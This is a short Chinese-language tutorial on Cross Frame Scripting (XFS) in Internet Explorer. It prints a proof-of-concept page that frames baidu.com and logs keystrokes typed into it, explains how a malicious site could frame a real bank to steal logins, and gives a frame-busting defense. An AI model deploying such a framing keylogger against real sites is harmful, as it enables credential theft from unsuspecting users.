Cross Frame Script (跨框架脚本) 攻击

Cross Frame Script 也叫XFS,它是Cross Site Scirpt后一个新的盗取用户资料的方法。


什么是Cross Frame Script?


很简单,做个实验就知道了。把下面的这段HTML代码另存为一个html文件,然后用ie浏览器打开。


<html>
<head>
<title>IE Cross Frame Scripting Restriction Bypass Example</title>
<script>
var keylog=”;
document.onkeypress = function () { 
   k = window.event.keyCode; 
   window.status = keylog += String.fromCharCode(k) + ‘[‘ + k +’]’;
}
</script>
</head>
<frameset onload=”this.focus();” onblur=”this.focus();” cols=”100%”>
 <frame src=”http://www.baidu.com/” scrolling=”auto”>
</frameset>
</html>


当你在百度的搜索框输入字符时,你会发现左下角的状态栏上出现了你输入的字符。


Cross Frame Script 原理


利用浏览器允许框架(frame)跨站包含其它页面的漏洞,在主框架的代码中加入scirpt,监视、盗取用户输入。


Cross Frame Script 危害


一个恶意的站点可以通过用框架包含真的网银或在线支付网站,获取用户账号和密码。


解决方案


用户:留心浏览器地址,不在带框架页面中输入用户信息


网站管理员:
在页面中加入以下javascirpt代码可以避免网站被XFS:


if (top != self)    {
 top.location=self.location;
}